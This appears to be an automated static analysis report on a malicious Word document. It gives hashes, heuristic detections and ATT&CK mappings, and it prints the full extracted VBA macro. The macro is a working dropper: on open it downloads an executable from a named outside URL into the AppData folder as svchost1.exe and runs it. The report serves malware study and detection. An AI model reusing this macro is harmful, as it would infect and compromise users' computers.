Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0f35d4d74147e7f4…

MALICIOUS

Office (OLE)

72.0 KB Created: 2014-01-03 03:45:00 Authoring application: Microsoft Office Word First seen: 2014-10-13
MD5: fcd77651977ecbfc3c87a0d98ff76c9e SHA-1: acc912b36db523464fa9ecd7f5fa369dba441533 SHA-256: 0f35d4d74147e7f497d6c6ed1ce038f6b6ffcd1c125eec9052abb50764d4c567
334 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document that uses a lure to convince the user to enable macros. The Auto_Open macro then uses URLDownloadToFile to download an executable from http://www.azfarsaffron.com/wp-hd/wordpress/test.exe and saves it as %APPDATA%\svchost1.exe, which is subsequently executed via the Shell function. This indicates a dropper functionality.

Heuristics 12

  • ClamAV: Doc.Dropper.Agent-6290335-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6290335-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Environ("APPDATA") & "\svchost1.exe"
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
                    Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Mcfee 0, "http://www.azfarsaffron.com/wp-hd/wordpress/test.exe", Environ("APPDATA") & "\svchost1.exe", 0, 0
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.azfarsaffron.com/wp-hd/wordpress/test.exe� Referenced by macro
    • http://www.azfarsaffron.com/wp-hd/wordpress/test.exeReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1664 bytes
SHA-256: d5d34b4f7ee9d0fa56f0ac3d9079e4c5a9b98fbb71f79ebc68390d3bbaca53b8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Avira"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare PtrSafe Function Mcfee _
                Lib "urlmon" _
                Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
                                            ByVal szURL As String, _
                                            ByVal szFileName As String, _
                                            ByVal dwReserved As Long, _
                                            ByVal lpfnCB As Long) As Long

Sub Auto_Open()
    Truniazo
End Sub



Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

Sub R2y234yu324huh4321h234324lhlh234()
 mAG ASDA
End Sub

Sub Rubsadasddsds31321321ete()
 SDHUSDFH MAD
End Sub

Sub Rubengandiiiiiise3()
 Hola ASD
End Sub

Sub R2y2qweewqewqweqewq34yu324huh4321h234324lhlh234()
 mAG ASDA
End Sub

Sub Rubwqeqqweewq31321321ete()
 SDHUSDFH MAD
End Sub

Sub Rubewwnse3()
 Hola ASD
End Sub
Sub Truniazo()
On Error Resume Next

Mcfee 0, "http://www.azfarsaffron.com/wp-hd/wordpress/test.exe", Environ("APPDATA") & "\svchost1.exe", 0, 0
Shell Environ("APPDATA") & "\svchost1.exe"

End Sub

Attribute VB_Name = "Módulo1"

Attribute VB_Name = "Módulo2"
Sub Rub33ete()
 SDHUSDFH MAD
End Sub
Sub R21321ete()
 SDHUSDFH MAD
End Sub
Sub Rub323()
 SDHUSDFH MAD
End Sub
Sub Rub31321321ete()
 SDHUSDFH MAD
End Sub
Sub Rubae()
 SDHUSDFH MAD
End Sub

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